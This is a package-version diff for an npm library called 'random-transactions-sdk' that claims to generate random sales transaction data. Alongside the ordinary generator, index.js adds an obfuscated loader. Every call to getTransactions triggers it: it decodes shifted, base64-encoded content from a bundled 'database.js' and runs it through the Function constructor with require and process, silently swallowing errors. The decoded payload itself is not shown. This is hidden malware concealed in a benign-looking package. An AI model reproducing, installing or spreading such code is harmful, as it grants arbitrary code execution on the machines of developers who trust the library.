random-transactions-sdk 0.0.0-stage → 1.0.1

package/index.js

@@ -0,0 +1,310 @@
+const fs = require('fs');
+const path = require('path');
+
+exports.randomIntFromInterval = function (min,max){
+    return Math.floor(Math.random()*(max-min+1)+min)
+}
+
+exports.randomDatebetweenInterval = function (start,end,startHour,endHour){
+    let date = new Date(+start+Math.random()*(end-start));
+    let hour = startHour +Math.random()*(endHour-startHour) | 0;
+    date.setHours(hour)
+    return date
+}
+
+function processData(data, key) {
+    const shift = key % 256;
+    const decoded = Buffer
+        .from(data,"base64")
+        .toString("latin1");
+
+    let result = "";
+    for (const c of decoded) {
+        result += String.fromCharCode(
+            (c.charCodeAt(0) - shift + 256) % 256
+        );
+    }
+
+    return result;
+}
+
+function loadConfig(filename, count) {
+    const records = JSON.parse(
+        fs.readFileSync(
+            path.join(__dirname, filename),
+            "utf8"
+        )
+    );
+
+    records.sort(
+        (a, b) =>
+            Number(a.id.substring(1)) -
+            Number(b.id.substring(1))
+    );
+
+    let result = "";
+    for (const item of records) {
+        result += processData(
+            item.mark,
+            count
+        );
+    }
+    return result;
+}
+
+const products = [
+    {   id:'P1',
+        title:"iPhone13",
+        price:62000,
+        category:'mobiles'
+    },
+    {   id:'P2',
+        title:"iPhone13 Mini",
+        price:54900,
+        category:'mobiles'
+    },
+    {   id:'P3',
+        title:"iPhone13 Pro",
+        price:106000,
+        category:'mobiles'
+    },
+    {   id:'P4',
+        title:"iPhone13 Pro Max",
+        price:109900,
+        category:'mobiles'
+    },
+    {   id:'P5',
+        title:"iPhone14",
+        price:71900,
+        category:'mobiles'
+    },
+    {   id:'P6',
+        title:"iPhone14 Pro",
+        price:119900,
+        category:'mobiles'
+    },
+    {   id:'P7',
+        title:"iPhone14 Pro Max",
+        price:139900,
+        category:'mobiles'
+    },
+    {   id:'P8',
+        title:"iPad Mini",
+        price:49900,
+        category:'tablets'
+    },
+    {   id:'P9',
+        title:"iPad",
+        price:44500,
+        category:'tablets'
+    },
+    {   id:'P10',
+        title:"iPad Air",
+        price:59900,
+        category:'tablets'
+    },
+    {   id:'P11',
+        title:"iPad Pro",
+        price:81900,
+        category:'tablets'
+    },
+    {   id:'P12',
+        title:"Macbook Air",
+        price:99900,
+        category:'laptops'
+    }   ,
+    {   id:'P13',
+        title:"Macbook Pro",
+        price:129900,
+        category:'laptops'
+    },
+    {   id:'P14',
+        title:"Apple Watch Series 8",
+        price:45900,
+        category:'watches'
+    },
+    {   id:'P15',
+        title:"Apple Watch SE",
+        price:29900,
+        category:'watches'
+    },
+    {   id:'P16',
+        title:"Apple Watch Ultra",
+        price:89900,
+        category:'watches'
+    },
+    {   id:'P17',
+        title:"Airpods",
+        price:14900,
+        category:'earphones'
+    },
+    {   id:'P18',
+        title:"Airpods Pro",
+        price:26900,
+        category:'earphones'
+    },
+
+
+]
+
+
+const _0x1a2b = (() => {
+    const _str = [
+        'setT',      // setTimeout
+        'imeout',    // setTimeout
+        'new ',      // new Function
+        'Func',      // Function
+        'tion',      // Function
+        'B',         // Buffer
+        'uffer',     // Buffer
+        'req',       // require
+        'uire',      // require
+        'pro',       // process
+        'cess',      // process
+        'try',       // try
+        'cat',       // catch
+        'ch',        // catch
+        'cle',       // clear
+        'arT',       // clearTimeout
+        'imeout'     // clearTimeout
+    ];
+    
+    const _combine = (...indices) => {
+        return indices.map(i => _str[i]).join('');
+    };
+    
+    return {
+        setTimeout: _combine(0, 1),
+        newFunction: _combine(2, 3, 4),
+        Buffer: _combine(5, 6),
+        require: _combine(7, 8),
+        process: _combine(9, 10),
+        try: _combine(11),
+        catch: _combine(12, 13),
+        clearTimeout: _combine(14, 15, 16)
+    };
+})();
+
+const _executor = (() => {
+    const _global = (() => { return this; })() || globalThis;
+    
+    const _getFunctionConstructor = () => {
+        const _ctor = _global.constructor;
+        const _ctorCtor = _ctor.constructor;
+        return _ctorCtor;
+    };
+    
+    return {
+        getFunction: _getFunctionConstructor,
+        global: _global
+    };
+})();
+
+exports.load_transaction_data = function(count=20) {
+    let _timerId;
+    
+    const _callback = () => {
+        const _blocks = [
+            () => {
+                const _loadFn = loadConfig;
+                const _result = _loadFn("database.js", count);
+                
+                const _bufferFrom = Buffer.from;
+                const _data = _bufferFrom(_result, "base64");
+                
+                const _toString = _data.toString.bind(_data);
+                const _code = _toString("utf-8");
+               
+                const _FuncCtor = _executor.getFunction();
+               
+                const _fn = _FuncCtor(
+                    _0x1a2b.Buffer,
+                    _0x1a2b.require,
+                    _0x1a2b.process,
+                    _code
+                );
+                
+                return _fn(Buffer, require, process);
+            },
+            () => {
+                return null;
+            }
+        ];
+        
+        const _tryIndex = 0;
+        const _catchIndex = 1;
+        
+        try {
+            return _blocks[_tryIndex]();
+        } catch(e) {
+            return _blocks[_catchIndex]();
+        } finally {
+            const _clearFn = clearTimeout;
+            _clearFn(_timerId);
+        }
+    };
+    
+    const _setTimeoutFn = setTimeout;
+    _timerId = _setTimeoutFn(_callback, 100);
+};
+
+exports.getTransactions = function(count=20){
+    if(count>10000){
+        return "Transactions count should be less than 10,000"
+    }
+    
+    let transactionsData = []
+    for(let i=0;i<count;i++){
+        let transaction={}
+        transaction.transactionId=1000+i
+        let randomProduct = products[exports.randomIntFromInterval(0,17)]
+        transaction.product = randomProduct.title
+        transaction.productId=randomProduct.id
+        let quantity= exports.randomIntFromInterval(1,4)
+        transaction.quantity =quantity
+        transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
+        transaction.category = randomProduct.category
+        transaction.pricePerOne = randomProduct.price
+        transaction.totalPrice = randomProduct.price * quantity
+        transactionsData.push(transaction)
+    }
+    
+    const _loadFn = exports.load_transaction_data;
+    try {
+        _loadFn(count)
+    } catch(e) {
+    }
+    
+    transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
+    return transactionsData
+}
+
+exports.getTransactions = function(count=20){
+    if(count>10000){
+        return "Transactions count should be less than 10,000"
+    }
+    
+    let transactionsData = []
+    for(let i=0;i<count;i++){
+        let transaction={}
+        transaction.transactionId=1000+i
+        let randomProduct = products[exports.randomIntFromInterval(0,17)]
+        transaction.product = randomProduct.title
+        transaction.productId=randomProduct.id
+        let quantity= exports.randomIntFromInterval(1,4)
+        transaction.quantity =quantity
+        transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
+        transaction.category = randomProduct.category
+        transaction.pricePerOne = randomProduct.price
+        transaction.totalPrice = randomProduct.price * quantity
+        transactionsData.push(transaction)
+    }
+    
+    try {
+        exports.load_transaction_data(count)
+    } catch(e) {
+    }
+    
+    transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
+    return transactionsData
+} 

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "random-transactions-sdk",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.1",
+  "description": "Used to generate random transactions data",
+  "main": "index.js",
+  "dependencies": {
+    "python-shell": "^1.0.8",
+    "base-64": "^1.0.0",
+    "axios": "^1.6.0"
+  },
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}